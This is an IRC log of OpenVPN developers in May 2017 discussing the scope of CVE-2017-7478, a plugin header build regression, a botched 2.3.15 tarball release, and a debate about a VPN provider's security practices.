08:01 <@cron2> dazo: yes. Not enough time already. 08:01 <@dazo> We even have this one now: 08:01 <@dazo> <dazo> !blog 08:01 <@dazo> <vpnHelper> "blog" is (#1) Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them., or (#2) Also see !howto 08:01 <@ecrist> cron2: it turns out what I produced already is the same ID and what was already produced. 08:02 <@ecrist> update will be requested in a moment. 08:02 <@cron2> ecrist: good enough :-) - anything later than "thursday last week" has the relevant fixes we need to push out 08:02 <@cron2> (FreeBSD "main" port is on 2.4.2 since friday already \o/ ) 08:04 <@ecrist> cron2: I'm using 201719. See http://secure-computing.net/files/openvpn/revision.log 08:06 <@d12fk> dazo: so is the attack limited to --tls-auth/crypt users then? (lacking basic knowledge in that area) 08:07 <@dazo> d12fk: if you have --tls-auth/crypt already deployed, yes, then only authenticated users can attack you with the CVE-2017-7478 flaw 08:08 <@d12fk> ok, thanks for clarifying this 08:08 <@dazo> d12fk: if --tls-auth/crypt is not used ... then you are directly vulnerable from any one 08:09 <@dazo> if --tls-auth/crypt is used ... the first thing OpenVPN does to the packet is to run HMAC verification (or with --tls-crypt: decrypt, including HMAC) on the packet 08:09 <@dazo> if that fails, the packet is dropped 08:18 <@ecrist> wow, I haven't done an update to -devel since 201652 08:31 < slypknot> things ecrist has not done : https://github.com/OpenVPN/easy-rsa/issues/124 08:31 <@vpnHelper> Title: Check the link, binarys still missing · Issue #124 · OpenVPN/easy-rsa · GitHub (at github.com) 08:34 <@dazo> mattock: you around? 08:35 <@ecrist> cron2: 219305 is submitted 08:35 <@ecrist> :( slypknot 08:36 <@dazo> slypknot: a different take on it .... "what ecrist needs some help with" ;-) .... like a patch :) 08:38 < slypknot> ok :) 08:39 < slypknot> i was wondering that myself .. why has nobody even offered to help .. 08:39 <@ecrist> dazo++ 08:39 <@ecrist> I have aspirations to get EasyRSA into a better state, but book #2 got in the way, and I'm in the middle of a move (We bought a new house) at the moment. 08:39 <@ecrist> (excuses, excuses, I know) 08:39 < slypknot> ecrist: i only mentioned it becuase i bet your todolist is quite long and you did ask me to remind you from time to time ;) 08:40 <@ecrist> indeed 08:40 <@dazo> life is basically a list of prioritized excuses ;-) 08:41 < slypknot> dazo: you sound like marvin, the clynically depressed robot of HHGTG 08:41 <@dazo> hahaha 08:48 <@cron2> ecrist: thanks 08:48 <@cron2> dazo: haha :) 08:49 <@cron2> and indeed... spent the weekend with a nice kid's birthday party (8 kids...) - very good excuse 08:49 <@dazo> ;-) 09:06 <@mattock> ecrist: better to be in a middle of a move than in a middle of a complete house renovation 09:06 <@mattock> unless you've managed to get both :P 09:40 <+krzee> ecrist: what do you mean by better state? since its in shell i can actually help there 09:46 <+krzee> and congrats on the new house! i just moved too 09:49 <@vpnHelper> RSS Update - tickets: #891: Restart, "Address already in use" for management port <https://community.openvpn.net/openvpn/ticket/891> 09:50 < SviMik> guys, are such patches welcomed in openvpn? http://svimik.com/openvpn_peer_id_bugfix_2.4.2_v1.png 09:52 < SviMik> quite a serious bug for me that 2.3.6...2.3.12 can't reconnect to 2.4 server if priveleges were dropped on client side ("user nobody" in config) 09:52 < SviMik> that's because 2.3.6...2.3.12 clients are handling peer-id incorrectly 09:53 < SviMik> so I decided to *not* send peer-id to that clients 09:53 < SviMik> and everything works now 09:57 <@cron2> SviMik: 2.3.<anythingbefore 15> is obsolete, the bug has been fixed in 2.3.13 09:57 <@cron2> and older clients need to updated anyway due to the CVE 09:59 < SviMik> nvm then. but for myself I have fixed it anyway, because we have to support 2.3.10 clients 10:01 < SviMik> otherwise I wouldn't be allowed to upgrade servers to 2.4 if 2.3.10 clients would have problems with that 10:02 <+krzee> if only it was so easy to update all clients lol i wish 10:02 <+krzee> im still working on my migration to 2.4 :D 10:04 <@dazo> krzee: well, it shouldn't be that hard ... users not upgrading loose their access, that's how easy it should be .... I know embedded devices can be a challenge, though ... but where normal users having a kind of heartbeat to be able to start a VPN connection, forcing them to upgrade is to me a quite natural expectation 10:05 <@dazo> doing that kind of bandaid is just breaking the trust in the service in a long run ... as old versions does carry bugs, which can very much be flawed by security issues 10:05 <@ordex> unless you can push an OTA upgrade, for the user this is going to be "hey, my access does not work, your service sucks" no matter why or what :P 10:06 <@ordex> because nobody wants to deal with upgrades, bugs, or anything else :P 10:06 <+krzee> ya you're right my issues are quite the special case 10:06 <+krzee> and they're mine, not openvpn related lol 10:07 <@ordex> in my previous company I had customers rolling back to old and buggy softwares because they "knew it used to work" regardless of bugs or features 10:07 <@dazo> https://media0.giphy.com/media/2JpH4umoG9g3K/giphy.gif 10:10 < SviMik> loose their access \\ get angry, and ask moneyback, right 10:11 < SviMik> also embedded devices, right 10:11 <@dazo> well, if you don't care for users security and can't give them a good reason to upgrade ... then, yes 10:11 < SviMik> we have many users with routers too 10:12 <@dazo> well, routers with openvpn does get updates too 10:12 <+krzee> routers are easy 10:12 <+krzee> i run a bunch of those, not an issue 10:12 <+krzee> its my snom phones that are a bit more difficult 10:13 < SviMik> lol, even phones nowdays get new firmware once or twice, then become abandoned because "buy the new model" 10:14 < SviMik> well, ok. routers may get updates a bit longer period, but still not lifetime 10:15 <@dazo> again ... if you care for your users security and privacy, then you kindly ask them to upgrade their hardware too 10:16 <@dazo> Why do you even think WannaCry is spreading so fast? Because users are not enforced to upgrade (or even worse disables updates). 10:16 <+krzee> oh well when i say routers i mean openwrt/lede 10:17 < SviMik> also, mikrotik. I'm still curious whether it works with 2.4... have to test today 10:17 <@cron2> dazo: and half of it is "because windows 7 broke the windowsupdate service about a year ago" 10:17 <@cron2> many win7 boxes need a manual kick installing a few kb fixes to make it actually do more than "burn CPU" again 10:17 < SviMik> cron2 it's not how a paid service works. user experience is higher priority there 10:17 <@dazo> fair enough ... but they do get alerts of pending updates, or? 10:18 < SviMik> s/cron2/dazo 10:18 <+krzee> hah thats funny 10:18 <+krzee> ms you so crazy 10:19 <@dazo> SviMik: I have been in companies where they had a very strict policy that customers must use the latest versions at any time .... yes, a handful customers complained, but the vast majority gave thumps-up - because they bought are reasoning why it is important to be updated. 10:19 <@dazo> s/bought are/bought the/ 10:20 < SviMik> dazo that depends. our users are not so smart to give a thumb-up for that 10:20 <@dazo> but by all means, you're the one working there ... had I worked for the same company, I'd be yelling the same message with a firm, straight back 10:21 <+krzee> that sounds reasonable too... its a vpn service 10:21 <@dazo> perhaps you should just give them a plain --cipher none config and admit full failure on the security side and be over with it 10:22 <+krzee> so picture the webchat users with the worst questions in #openvpn, and now take it back a couple notches 10:22 <@dazo> heh 10:22 < SviMik> to give an idea about our users - many of them even don't know what VPN is, and bought just "a software for changing IP addresss" :D 10:23 <@dazo> well, that gives an even better reasoning for --cipher none 10:24 < SviMik> if I make an option for --cipher none, they would say thanks, yes 10:26 <@dazo> then you should probably not use the term "VPN" at all if those users primarily don't care about encryption .... if the vast majority of users do care about the encryption side, then ignore the crappy customers .... this is more a business decision: Whom do you want to provide service for? Why and how? (those are rhetoric questions, just to be clear) 10:26 < SviMik> of course I will not, because there are demanding users too... not so many, but I respect their wish to have AES-256, that's why I *did* the upgrade to 2.4 yesterday 10:27 < SviMik> but I'll prefer to leave things up to user's choice, because there just too many different reasons they use VPN for 10:27 <+krzee> besides, he already made the patch that works for him, he was just offering it upstream if upstream wanted it 10:28 <@dazo> krzee: don't riun the "yelling" part of my "don't do this stupid crap" ;-) 10:28 <+krzee> :D 10:31 < SviMik> dazo it's not a simple yes or no, it's always a trade-off because different users have different goals. and making things optional and configurable is what we do prefer 10:32 <@dazo> When it comes to security, you don't have much to trade-off ... except security ... which is devastating if security is your main product 10:33 <+krzee> vpn services dont sell security 10:33 < SviMik> this ^^ 10:33 <@dazo> which is why I question why not do just do --cipher none, to and tell users that 10:34 <+krzee> hell many still offer pptp dont they? 10:34 <+krzee> which is like a step past --cipher none at this point 10:34 <@dazo> right, equally bad 10:34 < SviMik> we do :) 10:34 <+krzee> boom 10:34 <@dazo> those VPN service providers are scams in my eyes 10:35 < SviMik> if you need security - you have to think yourself about software and protocols you use. 10:35 <+krzee> well, remember usa recently made it legal for ISPs to collect and sell data 10:35 <+krzee> sooooo, if those services are not doing *that* they may still have a valid as hell use case 10:35 <@dazo> SviMik: do you tell your customers your don't provide security nor privacy through the services they buy from you? 10:36 < SviMik> krzee we sell VPN access, not user data 10:36 <+krzee> exactly 10:36 <@dazo> SviMik: no, you don't sell VPN ... you sell TUNNELs 10:36 <@dazo> you just wrap it up as VPN 10:37 <+krzee> if said tunnels get the user past their ISP without being sold, i say good stuff 10:37 <+krzee> sad days that it matters now 10:37 < SviMik> dazo you're not right. we do provide. install lastest version of openvpn or strongswan for that. 10:37 < SviMik> that's just *optional*, but *included* 10:38 <@dazo> if you do not care about security (running latest VPN versions), you don't provide the P in VPN 10:38 <+krzee> im sure from your snooping ISP you do 10:38 <+krzee> i dont expect them to get THAT involved, do you? 10:39 <+krzee> if anybody thinks they're protected from like a government or something cause they bought a vpn service, they're insane 10:39 <@dazo> I haven't seen the marketing ... but if you want to sell a product which includes the P in VPN, then you'd better do it right ... otherwise it's a scam an fraud 10:40 < SviMik> dazo we do run latest VPN versions on the servers. caring about user setup... well, maybe we should care about their operating systems then? care about their browser settings, their firewall... 10:41 <@dazo> I am willing to accept companies aim to be good if they CLEARLY tells users they're doing things wrongly .... but the threshold for me to trust any VPN service is far higher than what I hear here 10:41 <+krzee> you could always just push a message to them to suggest updates and explain why (theres pretty good reasons in your case in the form of CVE), couldnt you? 10:41 <@dazo> SviMik: you should care about the product you sell ... which in many cases is OpenVPN ... so yes, you're darn right your should care about clients running VPN software and configuration 10:42 <@dazo> You don't sell OSes, firewalls or browsers, do you? If not, then that is not your responsibility 10:42 <@dazo> Just caring for the server side is deluding your users and paying customers 10:44 < SviMik> dazo so we are not allowed to sell pptp and IKEv2 services in the same subscription, right? just because they do different things 10:45 <@dazo> Again, this is a business decision: Whom is your market target? What kind of services? And how do you want to provide that service? 10:45 <@dazo> If you care the slightliest for privacy and security, you should know that pptp is banned and should be deliberately be banned from your product range 10:46 <@dazo> if you insist on providing pptp ... then sell that as a different package, explicitly labling it as INSECURE 10:46 <@dazo> because, that is exactly what pptp is 10:46 < SviMik> just to make clear: we sell both tunnels *and* VPNs. it's up to user's goal what he needs. 10:47 <@dazo> well, do your users understand the difference between a tunnel and a VPN? Do you explain it to them? Do you tell them what is secure and what is insecure? 10:51 < SviMik> just checked - our website do have a hint about pptp's encryption. but right, not something like a comprehensive security courses 10:52 < SviMik> ok, you got a point. we need to teach our users more about security 10:53 <@dazo> I've seen other VPN service providers say something like: PPTP is only useful for getting a differnt public IP address. It gives no real protection against snooping 10:55 <@dazo> And I would really consider having two different setups for your users - if you want the full breadth of users .... one which is laxed and allow outdated client versions (including pptp) ... and a separate setup with different server configs which allows no slack on the security side and expects users to run the latest versions on the clients 10:56 <@dazo> if users then connect to the wrong server according to their "security profile", they should get rejected 11:00 < SviMik> perhaps, we will put some statements about AES and Blowfish in the next newsletter mail :) 11:00 < SviMik> as well as recommendation to upgrade VPN software 11:01 < SviMik> teaching users is the right thing, actually 11:12 < slypknot> https://github.com/x0rz/EQGRP_Lost_in_Translation 11:12 <@vpnHelper> Title: GitHub - x0rz/EQGRP_Lost_in_Translation: Decrypted content of odd.tar.xz.gpg, swift.tar.xz.gpg and windows.tar.xz.gpg (at github.com) 11:13 < slypknot> https://www.theregister.co.uk/2017/04/14/latest_shadow_brokers_data_dump/ 11:13 <@vpnHelper> Title: Leaked NSA point-and-pwn hack tools menace Win2k to Windows 8 • The Register (at www.theregister.co.uk) 12:24 < slypknot> Classic : https://www.theregister.co.uk/2017/05/15/sophos_nhs/ 12:24 <@vpnHelper> Title: Sophos waters down 'NHS is totally protected' by us boast • The Register (at www.theregister.co.uk) 12:29 <@dazo> Started a draft in regards to default directories OpenVPN uses .... we should probably consider to have a set of standardized directories we use ... http://community.openvpn.net/openvpn/wiki/OpenVPNdirectoryLayout ... any thoughts? 12:29 <@vpnHelper> Title: OpenVPNdirectoryLayout – OpenVPN Community (at community.openvpn.net) 12:34 < SviMik> dazo seems legit. would be interesting to see windows too 12:41 <@dazo> Need input from Windows people to tackle that :) 13:04 <@cron2> dazo: that I know how to compile binaries for Windows doesn't make me windows people...! 13:05 * ecrist lumps cron2 is as "windows person" now 13:06 <@ecrist> !windows 13:06 <@vpnHelper> "windows" is (#1) pcs are like air conditioners, they work fine unless you open windows, or (#2) http://secure-computing.net/files/windows.jpg for funny, or (#3) http://secure-computing.net/files/windows_2.jpg for more funny 13:06 <@ecrist> !learn windows as see cron2 for windows issues 13:06 <@vpnHelper> Joo got it. 13:06 <@ecrist> !windows 13:06 <@vpnHelper> "windows" is (#1) pcs are like air conditioners, they work fine unless you open windows, or (#2) http://secure-computing.net/files/windows.jpg for funny, or (#3) http://secure-computing.net/files/windows_2.jpg for more funny, or (#4) see cron2 for windows issues 13:06 <@ecrist> >:) 13:22 <@cron2> !blame 13:22 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault, or (#5) if it is crypto blame syzzer and plai for acking 16:12 < m-a> openvpn-plugin.h is no longer self-contained, and should #include <sys/types.h> to pull in the size_t typedef. 16:13 < m-a> symptom: third-party applications fail. This is a regression as of 2.4.2 apparently. See this log, for instance: http://beefy11.nyi.freebsd.org/data/head-i386-default/p440742_s318246/logs/openvpn-auth-ldap-2.0.4.0.s1379_1.log - digging into the corresponding config.log I see complaints that size_t isn't defined and whether I wanted __size_t. 16:19 < m-a> The offender is typedef void (*plugin_secure_memzero_t)(void *data, size_t len); and is indeed a recent invention... 16:37 <@dazo> m-a: ouch ... good catch ... makes sense to add that #include 16:38 < m-a> not so fast 16:38 * dazo slows down 16:38 < m-a> C99+ provides #include <stddef.h> - and how do we go about Windoze, which deliberately, at Herb Sutter's misguided C++ fostering, foregoes C99, let alone C11. 16:39 <@dazo> C11 is C++11, iirc .... C99 is for plain C, iirc 16:39 < m-a> C11 isn't C++11 16:39 <@dazo> ahh! indeed! 16:39 < m-a> C and C++ are separate worlds. In Unix, we're fine, more or less, but Microsoft got stuck with C89 mostly 16:40 <@dazo> actually, we should have confirmed that recent MSVC versions supports C99 16:40 < m-a> I've more often than not fixed up C99 code to be C++ compatible at the same time so I could (ab)use a C++ compiler on Windows. 16:40 < m-a> recent as in what release? 16:40 <@dazo> I honestly don't remember ... but at least 2015, possibly 2013 16:41 < m-a> 2010 for sure did not 16:41 <@dazo> mattock might have a better overview here ... otherwise Selva Nair on the mailing list 16:41 < m-a> https://msdn.microsoft.com/en-us/library/323b6b3k.aspx is a weazel, "crtdefs.h and other include files" 16:41 <@vpnHelper> Title: Standard Types (at msdn.microsoft.com) 16:45 <@dazo> https://en.wikipedia.org/wiki/Microsoft_Visual_C%2B%2B#C99 16:45 <@vpnHelper> Title: Microsoft Visual C++ - Wikipedia (at en.wikipedia.org) 16:46 <@dazo> "Visual C++ 2015 further improves the C99 support, with full support of the C99 Standard Library, except for features that require C99 language features not yet supported by the compiler" 16:47 <@dazo> In deed ... https://msdn.microsoft.com/en-us/library/hh409293(v=vs.140).aspx#BK_Compiler ... Seems to 2015 is the one introducing size_t 16:47 < m-a> what's the policy on VS versions? 16:48 < m-a> I am oblivious to that half-baked crap, glad I've left that behind. 16:48 <@dazo> :) 16:48 < m-a> meaning what's the oldest that OpenVPN needs to support? 16:48 <@dazo> We decided to go for C99 a while ago, so if that requires 2015 ... that's what's required 16:48 <@dazo> and we're not doing the gnu99, but iso99 16:49 < m-a> For a side-track for professional stuff I've ended up using Cygwin. It's stdio.h caching was vastly superior to MinGW or Visual STudio when reading large amounts of data from a network drive, anyhow. 16:49 < m-a> Then it's easy, if we require C99 I'll propose #include <stddef.h> and move on. 16:49 <@dazo> makes sense :) 16:55 < m-a> sent to the list 16:58 < m-a> ouch, the build rigging for plugins does not really work with VPATH (out-of-source-tree) builds 16:59 < m-a> LC_ALL=C ./build simple 16:59 < m-a> simple.c:38:28: fatal error: openvpn-plugin.h: No such file or directory 16:59 < m-a> compilation terminated. 16:59 <@dazo> hmmm ... :/ 17:00 <@dazo> well, I think the plug-ins part both src/plugins and sample/sample-plugins needs a proper overhaul in git master 17:00 < m-a> I can fix that, and perhaps it's OK as it is - I only wonder if the FreeBSD package should install that header by default, to simplify matters. It's a built header after all. 17:01 < m-a> my PATCH hasn't showed up in the list yet... 17:01 <@dazo> I believe Debian does so ... Fedora/EPEL have now openvpn-devel (as rpmlint didn't like header files in the x86_64 rpms) 17:01 <@dazo> the patch have arrived in my mailbox 17:01 < m-a> we don't do that crap in FreeBSD. 17:01 < m-a> (splitting up devel) 17:02 < m-a> perhaps the list driver suppressed my copy due to the Cc: 17:04 <@dazo> I'm pondering on adding pkg-config file for openvpn - to ease plugins building (so that -std=c99 and similar details can be more easily automated) ... and placing the openvpn includes in /usr/include/openvpn (or at least have some knobs to tweak the destination dir) .... which would make the package ownership easier .... 17:04 < m-a> don't do too much automation on the paths, it will add too many ifs and buts to the documentation. 17:04 <@dazo> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14658.html 17:04 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Make openvpn-plugin.h self-contained again. (at www.mail-archive.com) 17:04 <@dazo> fair point 17:04 < m-a> /usr/include is for the packagers, you'd go for $PREFIX/include/ or similar 17:05 <@dazo> that's already present 17:06 < m-a> formally in the GNU world it'll be $includedir, per (autoconf.info.gz)Installation Directory Variables 17:12 <@dazo> right 17:15 <@dazo> (which gives ./configure --includedir=...) 17:15 * m-a scratches head 17:17 < m-a> why do I require the openvpn source for the header file? 17:18 < m-a> (when building openvpn-auth-ldap) 17:18 <@dazo> probably because openvpn-plugin.h was not installed in 2.2 and older 17:18 <@dazo> or was it 2.1? 17:18 < m-a> plausible 17:20 < m-a> git describe --contains 34cb9132ef2dae08f91a66015ea5437539a4b557 17:20 < m-a> v2.3_alpha2~106 17:21 < m-a> commit 34cb9132ef2dae08f91a66015ea5437539a4b557 17:21 < m-a> Author: Alon Bar-Lev <alon.barlev@gmail.com> 17:21 < m-a> Date: Wed Feb 29 22:11:59 2012 +0200 17:21 < m-a> build: standard directory layout 17:22 < m-a> so 2.3 started installing this 17:23 < m-a> (the FreeBSD port as well) 17:33 < m-a> so 'nuff churn on this http://www.freshports.org/security/openvpn-auth-ldap four commits within 90 min 17:33 <@vpnHelper> Title: FreshPorts -- security/openvpn-auth-ldap (at www.freshports.org) 17:38 < m-a> ecrist: your openvpn-devel update introduces a conflict with itself - I will omit that hunk from the commit 17:39 < m-a> ecrist: also be sure that your editor does not replace tabs with blanks. 20:02 <@ordex> morning 20:12 < SviMik> evening :) 20:25 <@ordex> :) 20:30 -!- mode/#openvpn-devel [+o ordex] by ChanServ --- Day changed Tue May 16 2017 01:29 <@mattock> morning 01:30 <@ordex> aloha 02:11 <@cron2> ola 02:15 <@cron2> m-a: what's wrong with <sys/types.h>? As far as my "lore from the old days" C knowledge goes, that should be universally applicable? Or is it another of those "... but on windows" things? 02:19 <@ordex> "..but on windows"[tm] :D:D:D 03:31 <@mattock> dazo: new 2.3.15 tarballs now on the download servers + cloudflare cache purged 10:46 <+krzee> in https://community.openvpn.net/openvpn/wiki/GettingStartedwithOVPN it says "If you need to use any of these weaker algorithms, do at least consider to add --reneg-bytes 64000000 to your configuration." but that is automagically done by a server new enough to know, right? 10:46 <@vpnHelper> Title: GettingStartedwithOVPN – OpenVPN Community (at community.openvpn.net) 10:46 <+krzee> i will note it after im told im not missing anything 10:46 <+krzee> also, what version of openvpn server is new enough to know? 10:47 <@cron2> 2.3.14 or 2.4.1, but you want 2.3.15/2.4.2 anyway 11:19 <+krzee> thanks 11:20 <+krzee> If you need to use any of these weaker algorithms, do at least consider to add `--reneg-bytes 64000000` to your configuration. If your server version is >= 2.3.14 or 2.4.1 this will be done for you. 11:38 <@syzzer> ack :) 19:02 <@vpnHelper> RSS Update - gitrepo: Pass correct buffer size to GetModuleFileNameW() <https://github.com/OpenVPN/openvpn/commit/986b930862c7fecb2a42645f1dc23a53ab2cf6bb> || Set a low interface metric for tap adapter when block-outside-dns is … <https://github.com/OpenVPN/openvpn/commit/27aa87283f6e766507287649aa5a63f1f5172645> || Drop packets instead of assert out if packet id rolls over (CVE-2017-… <https://github.com/OpenVPN/openvpn/commit/ 21:46 <@ordex> morning --- Day changed Wed May 17 2017 01:29 <@ordex> :O 01:42 <@mattock> morning 01:53 <@cron2> eek, dazo beat me to my commit backlog 02:01 <@cron2> ah... maybe not... maybe tht's just vpn-helper being confused... 09:01 <@plaisthos> finally setting up a mingw crosscompile from my mac ... 10:18 < slypknot> plaisthos: https://www.theregister.co.uk/2017/05/16/apple_security_updates/ 10:18 <@vpnHelper> Title: It's 2017 – and your Mac, iPad, iPhone can all be pwned by an e-book • The Register (at www.theregister.co.uk) 11:03 <@ordex> plaisthos: did you document that? :) 12:03 <@plaisthos> it is depressingly easy 12:03 <@plaisthos> just copy&paste the commands from the travis script 12:08 <@ordex> ah ok :P 12:09 <@ordex> plaisthos: did you install mingw with homebrew? 12:14 <@plaisthos> yes 13:15 <+krzee> [11:06] <minimalism> If I did operate a server, is there a particular line of config or something else minor that would prevent this from affecting ipv4-only users? 13:15 <+krzee> [11:07] <krzee> not that im aware of... systems that dont support ipv6 are not very able to notify the server that they're hella old 13:15 <+krzee> is that correct? or is there an option i dont know about? 13:16 <+krzee> (i had him pull-filter ignore "ifconfig-ipv6 " and "route-ipv6 " 13:35 <@cron2> there's "reasonably modern systems that have no ipv6 connectivity" - they shouldn't care at all 13:35 <@cron2> then there's systems that are on WinXP level, and should no longer be used (and those won't have pull-filter) 13:35 <@cron2> and *then* there's modern systems where someone purposely disabled IPv6 - those people need to feel pain, but to make OpenVPN work, pull-filter is a good workaround 13:55 <@vpnHelper> RSS Update - gitrepo: Log the negotiated (NCP) cipher <https://github.com/OpenVPN/openvpn/commit/d4071dd1553ea5a70ab03659c623ff2ceeefaf9e> 22:07 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:16 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:48 <@ordex> hm, syzzer can the tls-auth/crypt key be specified inline? I think tls-crypt can, but how about tls-auth? where is the direction specified if we use the inline format? 23:07 <+krzee> im not sure about tls-crypt, but i made a writeup that includes tls-auth 23:07 <+krzee> just use !ios or !inline in #openvpn 23:11 <@ordex> aaah I See..there is —key-direction :) this makes sense --- Day changed Thu May 18 2017 01:41 <@cron2> syzzer: do you have some time-with-brains to work on the TLS reconnect / NCP thing? I have a few ideas :-) 01:53 < m-a> https://docs.freebsd.org/cgi/getmsg.cgi?fetch=316950+0+current/freebsd-ports - was the tarball re-rolled? 01:53 <@vpnHelper> Title: FreeBSD Mail Archives (at docs.freebsd.org) 01:53 < m-a> (the 2.3.15 tarball, that is)? 01:57 <@cron2> I'll tentatively answer this with "yes", though I do not know the details - but I've seen dazo and mattock talk about it 01:58 <@cron2> release process went a bit different than usual due to the embargo, so a "release" tarball was prepared and distributed two days before release, and that one was missing a necessary patch, so was re-rolled 01:58 <@cron2> but I'm not sure which of the possible tarballs ended where and when -> mattock 02:00 < m-a> I have just redownloaded things and it still appears that it's the same version I have - not sure what was wrong with Renato's copy. 02:01 <@cron2> maybe the tarball mentioned was just something between dazo and mattock that never went public... dunno 02:02 < m-a> uh. the size differs between what's on the swupdate.openvpn.net and build.openvpn.net machines. 02:02 < m-a> swupdate has 863384 bytes, build has 829240 bytes. 02:03 <@cron2> uh 02:03 * cron2 mails mattock to raise attention 02:05 < m-a> Both have their individual valid signature, and differ in content. This is the diffstat: 02:05 < m-a> + gdiff -NEur /tmp/orig/ /tmp/smaller/ 02:05 < m-a> + diffstat 02:05 < m-a> ChangeLog | 3 +-- 02:05 < m-a> sample/sample-plugins/defer/Makefile~ | 16 ---------------- 02:05 < m-a> sample/sample-plugins/defer/test.c~ | 15 --------------- 02:05 < m-a> src/openvpn/ssl.c | 7 +------ 02:06 < m-a> OUCH 02:06 < m-a> - Don't assert out on receiving too-large control packets (CVE-2017-7478) 02:06 < m-a> that fix is missing in one of the tarballs 02:07 <@cron2> argh. *That* is the "first pre-release tarball", which should have never showed up anywhere externally 02:07 <@cron2> which one is this, build or swupdate? 02:09 < m-a> the one on swupdate appears fine, the one on build appears broken 02:10 < m-a> the one on swupdate, however, contains garbage in the form of packaged object files. 02:10 < m-a> -rwxrwxr-x 0 2001 2001 31392 11 Apr 18:27 openvpn-2.3.15/sample/sample-plugins/log/log_v3.so 02:10 < m-a> -rwxrwxr-x 0 2001 2001 41960 5 Mai 18:21 openvpn-2.3.15/sample/sample-plugins/defer/defer-w-pf.so 02:10 < m-a> -rwxrwxr-x 0 2001 2001 19808 8 Mai 15:54 openvpn-2.3.15/sample/sample-plugins/simple/base64.so 02:10 < m-a> that's what makes it larger 02:11 < m-a> I think I'd call this a "mess" ;-) 02:11 * cron2 apologizes for the mess we made 02:11 <@cron2> (I already typed that word before you said it :) ) 02:11 < m-a> I wonder if the tarballs are rolled by "make dist"... 02:12 < m-a> and if so, how binary objects (the .so files) get in there. 02:12 <@cron2> *normally* they are, but we deviated quite a bit from the normal release process (which starts with "git tag, git push", which we couldn't do here) 02:13 < m-a> I propose to push 2.3.16 without the .so files just to be on the safe side. 02:13 <@cron2> heh :) 02:14 <@cron2> that's about what my to-be-sent mail has - "ensure that there is only a single GPG-signed tarball that is carrying exactly what is in git tag v.2.3.x", so 2.3.16 might indeed be the clean way out 02:14 < m-a> well, if 2.3.15 without the second CVE fixed, what are your options? Call it 2.3.15.1 and break all dot-counting release scripts? ;-) 02:14 <@cron2> embarrassing as it is 02:14 < m-a> professional as it is, in the shape of a full clean-up. 02:14 <@cron2> yeah 02:15 < m-a> For FreeBSD we're save, I was lucky to have grabbed the bigger file that contains both fixes and the garbage files, I'll disable the botched download site for 2.3.15. 02:15 < m-a> And I do propose to look into VPATH builds, aka. 02:15 <@cron2> that's "out of source tree"? 02:15 < m-a> mkdir ../_build-openvpn23 02:15 < m-a> cd ../_build-openvpn23 02:15 < m-a> ../openvpn-2.3-git/configure -C ... 02:15 < m-a> make 02:15 < m-a> exactly 02:15 < m-a> or rather, make distcheck 02:16 * cron2 does that all the time, but that plugin isn't built by default 02:16 < m-a> someone may have manually compile-tested those 02:16 <@cron2> (I saw the mail about build failing, but had no time to work up all my backlog yet) 02:17 <@cron2> yeah, anyway, need to leave now (attend a meeting at kid's school...) - thanks for bringing up inconvenient truths, we'll work on them 02:17 < m-a> If someone needs assistance with GNU autotools tweaking for VPATH builds, mail me directly and I will try to find an hour today or tomorrow night if needed. 02:17 <@cron2> thanks 02:17 < m-a> do we need to send a heads-up to anyone? 04:15 <@dazo> F*** ...... 04:15 <@ordex> ? 04:15 <@dazo> Yes, the tarball which have the proper CVE fixes have plenty of garbage in openvpn-2.3.15/sample/sample-plugins 04:16 <@dazo> so I respun that ... but for some f***ing reaons, the release/2.3 branch was older than it should be :/ 04:17 <@dazo> I will send a patch fixing the Makefile.am which caused this garbage stuff .... and then we'll ship 2.3.16, so we won't get into such mess again 04:20 * dazo is confused 04:24 <@dazo> ahhh ... Of course .... openvpn-2.4.2 tarballs was made correctly from the "prep-dist" git clone of mine. The very first 2.3.15 was too. Then we quickly fixed the additional CVE, and the 2.3.15 was generated from my working git clone .... so when I regenerated the cleaned-up 2.3.15 in the proper prep-dist clone, it was missing a git rebase :/ 04:25 <@ordex> mh 04:26 <@ordex> maybe we could create a script for the tarball generation that always starts from a fresh git clone so that it picks always a clean (latest) copy of the target branch? 04:26 <@ordex> this way we reduce the number of manual steps to perform 04:26 <@dazo> yeah, that's a very good idea! 04:26 <@dazo> another script for the dev-tools/ directory :) 04:26 <@ordex> :D 04:27 <@ordex> this way the procedure is also "documented" in the script itself 04:27 <@dazo> absolutely! 04:27 <@dazo> and when doing things in a hurry ... you won't miss the ball 04:27 <@ordex> :D 04:27 <@ordex> yeah 04:27 <@dazo> but also improving the sample/Makefile.am is needed I think ... to list explicitly files to package 04:28 <@dazo> now it just says: 04:28 <@dazo> EXTRA_DIST = \ 04:28 <@dazo> sample-plugins \ 04:28 <@dazo> sample-config-files \ 04:28 <@dazo> sample-windows \ 04:28 <@dazo> sample-keys \ 04:28 <@dazo> sample-scripts 04:28 <@ordex> well, if the packaging is done on a clean git clone, it will pick only what was added to git and nothing else, no ? 04:29 <@ordex> instead of adding new files twice (to git and to the MAkefile) everytime 04:29 <@dazo> well, it could have some better filters .... not "everything" but "*.[ch]" 04:29 <@ordex> (if I understood what you meant with list explicitly) 04:29 <@dazo> you understood me correctly, and corrected my course ;-) 04:31 <@cron2> the main issue was "deviating from the normal procedure due to embargo" 04:31 <@cron2> but anyway - there's a patch from Selva for 2.3 as well (which I'm going to merge right now), so there's at least a few bugfixes in there :) 04:32 <@ordex> cron2: you also have that IPv6 patch that you requested ;) 04:33 <@ordex> :) 04:33 <@cron2> good point 04:33 <@cron2> still 200+ mails in my backlog from last week 04:33 <@ordex> :D 04:33 <@ordex> don't drown ! 04:33 <@cron2> doing my best :) (so it's great that mattock and dazo took care last week, otherwise, maintainer drownaga...) 04:35 <@dazo> *sigh* .... what a wonderful bug report: https://bugzilla.redhat.com/show_bug.cgi?id=1451696 04:35 <@vpnHelper> Title: Bug 1451696 openvpn update breaks server (at bugzilla.redhat.com) 04:36 <@cron2> oh the fun of enraged users... 04:36 <@dazo> yeah 04:37 <@dazo> well, moving from 2.3 to 